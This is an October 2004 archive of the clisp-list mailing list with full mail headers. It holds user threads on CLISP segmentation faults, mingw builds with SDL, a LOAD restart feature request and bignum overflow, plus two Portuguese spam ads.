fdt7puZs9cDnVCGDHvMmNpCSCUQlrYHRjqYRNafHv28= Received: from fw-ext.alphatech.com ([198.112.236.6] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtpa (Exim 4.42 #5) id 1CHPr1-0003hE-7Q; Tue, 12 Oct 2004 12:50:27 -0400 To: clisp-list@lists.sourceforge.net, "Ellen C. Hildreth" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ellen C. Hildreth's message of "Tue, 12 Oct 2004 10:51:25 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Ellen C. Hildreth" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: segmentation faults Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 12 09:51:12 2004 X-Original-Date: Tue, 12 Oct 2004 12:50:25 -0400 > * Ellen C. Hildreth [2004-10-12 10:51:25 -0400]: > > I=C2=92m using clisp on Linux workstations (running RedHat) for an > AI class, and we sometimes encounter a segmentation fault. The > code runs ok in other CommonLISP environments. When we get > a segmentation fault, it often continues to recur in the same login > session. Sometimes, we can log out of the machine and log back=20 > in and clisp (and the code) runs fine without the segmentation > fault occurring again. But sometimes it persists with a particular > code file even when we move to another machine (a code file > that runs fine in another LISP environment). Do you have any > suggestions about how to deal with this problem? =3D=3D> --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Warning! Dates in calendar are closer than they appear! From janmar@iprimus.com.au Tue Oct 12 20:00:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHZNZ-0003i3-7E for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 20:00:41 -0700 Received: from smtp01.syd.iprimus.net.au ([210.50.30.196]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CHZNX-0008UE-HO for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 20:00:41 -0700 Received: from laptop.lan (210.50.172.122) by smtp01.syd.iprimus.net.au (7.0.031.3) id 416A467C000D359A; Wed, 13 Oct 2004 13:00:34 +1000 To: Reini Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiling on mingw References: <416A932D.4050105@x-ray.at> From: jan In-Reply-To: <416A932D.4050105@x-ray.at> (Reini Urban's message of "Mon, 11 Oct 2004 16:05:33 +0200") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.0 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 3.0 RCVD_IN_DSBL RBL: Received via a relay in list.dsbl.org [] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 12 20:01:09 2004 X-Original-Date: Wed, 13 Oct 2004 15:17:33 +1000 Reini Urban writes: > Have you tried using SDL under cygwin? > I (any probably many others) would need that also, but I had no time yet. > There's a cygwin FAQ entry how to do that sort of thing. > http://www.cygwin.com/faq/faq_3.html#SEC100 No I haven't, and after reading that faq entry I'm glad I won't have to. clisp + SDL work fine together as long as clisp is built with mingw =). -- jan From janmar@iprimus.com.au Tue Oct 12 20:38:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHZyA-0002Sq-BE for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 20:38:30 -0700 Received: from smtp01.syd.iprimus.net.au ([210.50.30.196]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CHZy9-0005oO-1d for clisp-list@lists.sourceforge.net; Tue, 12 Oct 2004 20:38:30 -0700 Received: from laptop.lan (210.50.172.117) by smtp01.syd.iprimus.net.au (7.0.031.3) id 416A467C000D9522 for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 13:38:27 +1000 To: clisp-list@lists.sourceforge.net References: From: jan In-Reply-To: (Sam Steingold's message of "Mon, 11 Oct 2004 10:25:33 -0400") User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: compiling on mingw Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 12 20:46:53 2004 X-Original-Date: Wed, 13 Oct 2004 15:56:24 +1000 Sam Steingold writes: >> * jan [2004-10-11 15:52:53 +1000]: >> >> I can't build clisp with mingw on Windows. I get the following error >> during configuration: >> >> checking for ioctl declaration... >> *** Missing autoconfiguration support for this platform. >> *** Please report this as a bug to the CLISP developers. >> *** When doing this, please also show your system's ioctl() declaration. > > you did not tell us how you built CLISP. > the following WFM: > > $ ./configure --with-mingw --with-module=syscalls --build build-O-mingw That line didn't WFM (same error as above). I have been building with the following commands: ./configure build-cygwin or ./configure --with-mingw build-mingw and then following the on screen instructions. I tried the 2.33.2 release with mingw and it worked (fixed my SDL problems too). Now that I have a working build it should be easier to track down what's going wrong with the cvs version, I'll report what I find soon. -- jan From bwfoxhvpressph@casacinepoa.com.br Wed Oct 13 02:01:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHf0y-0004Gk-T4 for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 02:01:44 -0700 Received: from 200-158-231-240.dsl.telesp.net.br ([200.158.231.240] helo=casacinepoa.com.br) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CHezg-0007yB-N2 for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 02:01:43 -0700 From: "RendaExtra" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [200.158.231.240 listed in dnsbl.sorbs.net] 1.2 RCVD_IN_NJABL_PROXY RBL: NJABL: sender is an open proxy [200.158.231.240 listed in combined.njabl.org] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [200.158.231.240 listed in combined.njabl.org] Subject: [clisp-list] RendaExtra com Internet - clisp-list@lists.sf.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 13 02:03:35 2004 X-Original-Date: Wed, 13 Oct 2004 06:00:24 -0300 Renda-Extra, Trabalho e Negócio, com uso da Internet e demais ferramentas, em tempo parcial ou integral e com Altos Ganhos. Pegue seu Ebook GRÁTIS! Visite: http://www.rendaforte.com KRDCorp - Dúvidas http://www.rendaforte.com/contato/ Essa mensagem foi enviada para o email: clisp-list@lists.sf.net Para ser removido de futuros correios, por favor, envie email para ngtcad@ibest.com.br, com o assunto REMOVER. Obrigado. From tefoxdspressfd@casacinepoa.com.br Wed Oct 13 02:01:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHf13-0004Hq-FP for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 02:01:49 -0700 Received: from 200-158-231-240.dsl.telesp.net.br ([200.158.231.240] helo=casacinepoa.com.br) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CHezg-0007yC-Lw for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 02:01:49 -0700 From: "RendaExtra" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [200.158.231.240 listed in dnsbl.sorbs.net] 1.2 RCVD_IN_NJABL_PROXY RBL: NJABL: sender is an open proxy [200.158.231.240 listed in combined.njabl.org] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [200.158.231.240 listed in combined.njabl.org] Subject: [clisp-list] RendaExtra com Internet - clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 13 02:03:40 2004 X-Original-Date: Wed, 13 Oct 2004 06:00:24 -0300 Renda-Extra, Trabalho e Negócio, com uso da Internet e demais ferramentas, em tempo parcial ou integral e com Altos Ganhos. Pegue seu Ebook GRÁTIS! Visite: http://www.rendaforte.com KRDCorp - Dúvidas http://www.rendaforte.com/contato/ Essa mensagem foi enviada para o email: clisp-list@lists.sourceforge.net Para ser removido de futuros correios, por favor, envie email para ngtcad@ibest.com.br, com o assunto REMOVER. Obrigado. From rurban@x-ray.at Wed Oct 13 05:31:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CHiHt-0004PO-H9 for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 05:31:25 -0700 Received: from smartmx-06.inode.at ([213.229.60.38]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CHiHf-00041P-45 for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 05:31:25 -0700 Received: from [62.99.252.218] (port=65373 helo=[192.168.0.2]) by smartmx-06.inode.at with esmtp (Exim 4.30) id 1CHiHQ-0003D6-Ra for clisp-list@lists.sourceforge.net; Wed, 13 Oct 2004 14:30:56 +0200 Message-ID: <416D2000.5040009@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compiling on mingw References: <416A932D.4050105@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 13 05:34:09 2004 X-Original-Date: Wed, 13 Oct 2004 14:30:56 +0200 jan schrieb: > Reini Urban writes: >>Have you tried using SDL under cygwin? >>I (any probably many others) would need that also, but I had no time yet. >>There's a cygwin FAQ entry how to do that sort of thing. >> http://www.cygwin.com/faq/faq_3.html#SEC100 > > No I haven't, and after reading that faq entry I'm glad I won't have to. > clisp + SDL work fine together as long as clisp is built with mingw =). What a pity. I'd need SDL for another cygwin project of mine. So it looks like I have to that by myself now. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 14 00:57:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CI0Tt-0000eW-Si for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 00:57:01 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CI0Ts-0007zU-9Z for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 00:57:01 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 09:56:39 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4VN3606A>; Thu, 14 Oct 2004 09:56:50 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301CAAA1D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] RFE: restart for LOAD to skip this form Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 00:59:32 2004 X-Original-Date: Thu, 14 Oct 2004 09:56:49 +0200 Hi, did you ever wish for LOAD not to abort upon encountering the first error while loading the file? To continue processign the remaining forms in the file instead? Since both .lisp and .fas files are a successions of sexp [(loop (eval (read))], there could be a SKIP restart instead of solely the ABORT one, so as to be able to continue with the next form in the file. In my firewall log-file analysis application, I provided two restarts when parsing .cvs files: one to stop processing this .csv file, and one to skip to the next line. What I propose here is the equivalent of the latter for LOAD. What do people think? [I tend to write feature requests here instead of sourceforge, so clisp-users can comment on them.] Another approach would be a RETURN-FROM command in the debugger, to allow to shortcut the execution of a function currently on the stack with a given value. IIRC, CMUCL has this feature. CLISP only has it for EVAL frames, which are rare in compiled code. In my logfile analysis application, I had somehow arranged for the restarts to have negligible impact on performance (hmm, maybe I finally used continuable errors instead). Regards, Jorg Hohle. From tl@di.fc.ul.pt Thu Oct 14 02:49:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CI2Eu-0003eo-PS for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 02:49:40 -0700 Received: from mail.di.fc.ul.pt ([194.117.21.40]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CI2Er-0004wg-2S for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 02:49:40 -0700 Received: from [194.117.21.87] (portatil-tl.di.fc.ul.pt [194.117.21.87]) by mail.di.fc.ul.pt (8.11.6/8.11.6) with ESMTP id i9E9nEF16287; Thu, 14 Oct 2004 10:49:14 +0100 From: Thibault Langlois Reply-To: tl@di.fc.ul.pt To: clisp-list@lists.sourceforge.net Content-Type: text/plain Organization: FCUL / DI Message-Id: <1097747354.3182.10.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) Content-Transfer-Encoding: 7bit X-MX-Func-DIFCUL-MailScanner-Information: Please contact the ISP for more information X-MX-Func-DIFCUL-MailScanner: Found to be clean X-MX-Func-DIFCUL-SpamCheck: not spam, SpamAssassin (score=-0.235, required 6, autolearn=not spam, AWL -0.24, BAYES_50 0.00) X-MailScanner-From: tl@di.fc.ul.pt X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] rationals & bignums Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 02:57:46 2004 X-Original-Date: Thu, 14 Oct 2004 10:49:14 +0100 Hello, I am implementing an algorithm that deals with very very small numbers. I decided to try to use the rationals in order to represent these small quantities because double-floats's precision wasn't enough. After running for a while the program ends with the error: *** - overflow during multiplication of large numbers I thought that rationals were made of two bignums and that I could not have overflow errors. Am I wrong ? Thibault -- Thibault Langlois FCUL / DI From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 14 08:40:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CI7ik-0007ea-5e for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 08:40:50 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CI7ie-00041B-F9 for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 08:40:50 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 14 Oct 2004 17:40:33 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <4VNNM2R5>; Thu, 14 Oct 2004 17:39:43 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301CAAB66@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tl@di.fc.ul.pt Subject: Re: [clisp-list] rationals & bignums MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 08:56:25 2004 X-Original-Date: Thu, 14 Oct 2004 17:39:43 +0200 Thibault Langlois wrote: >I thought that rationals were made of two bignums and that I could not >have overflow errors. Am I wrong ? Well, maybe you should have a look at how large these bignums become, you may be surprised. Maybe you should have a look at CL's long float type (4 types in CL, only 2 in C et al), and esp. CLISP' settable length of these. My experience with computing integrals was that using ratios was not better than floats, because a) the polynomial coefficients, represented as ratios, had huge numerators and denominators (bignums) b) so computing with them was *orders* of magnitudes slower than with floating point, c) well-chosen floating-point types gave enough precision. Regards, Jorg Hohle. From sds@gnu.org Thu Oct 14 12:50:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CIBbz-0005I9-FG for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 12:50:07 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CIBbw-00062c-Ft for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 12:50:07 -0700 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 4.42 #5) id 1CIBbt-0004BB-9o; Thu, 14 Oct 2004 15:50:01 -0400 To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CAAA1D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 14 Oct 2004 09:56:49 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CAAA1D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Re: RFE: restart for LOAD to skip this form Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 13:01:41 2004 X-Original-Date: Thu, 14 Oct 2004 15:50:00 -0400 > * Hoehle, Joerg-Cyril [2004-10-14 09:56:49 +0200]: > > did you ever wish for LOAD not to abort upon encountering the first > error while loading the file? To continue processign the remaining > forms in the file instead? > > Since both .lisp and .fas files are a successions of sexp [(loop (eval >(read))], there could be a SKIP restart instead of solely the ABORT >one, so as to be able to continue with the next form in the file. sure. > Another approach would be a RETURN-FROM command in the debugger, to > allow to shortcut the execution of a function currently on the stack > with a given value. IIRC, CMUCL has this feature. CLISP only has it > for EVAL frames, which are rare in compiled code. https://sourceforge.net/tracker/?func=detail&atid=351355&aid=946463&group_id=1355 http://sourceforge.net/mailarchive/message.php?msg_id=7600849 -- Sam Steingold (http://www.podval.org/~sds) running w2k A professor is someone who talks in someone else's sleep. From sds@gnu.org Thu Oct 14 12:51:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CIBdM-0005nJ-Og for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 12:51:32 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CIBdL-0006JX-LB for clisp-list@lists.sourceforge.net; Thu, 14 Oct 2004 12:51:32 -0700 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 4.42 #5) id 1CIBdK-0004Ns-Mn; Thu, 14 Oct 2004 15:51:31 -0400 To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301CAAB66@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 14 Oct 2004 17:39:43 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301CAAB66@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: rationals & bignums Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Oct 14 13:02:21 2004 X-Original-Date: Thu, 14 Oct 2004 15:51:30 -0400 > * Hoehle, Joerg-Cyril [2004-10-14 17:39:43 +0200]: > > Thibault Langlois wrote: > >>I thought that rationals were made of two bignums and that I could not >>have overflow errors. Am I wrong ? > > Well, maybe you should have a look at how large these bignums become, > you may be surprised. Maybe you should have a look at CL's long float > type (4 types in CL, only 2 in C et al), and esp. CLISP' settable > length of these. -- Sam 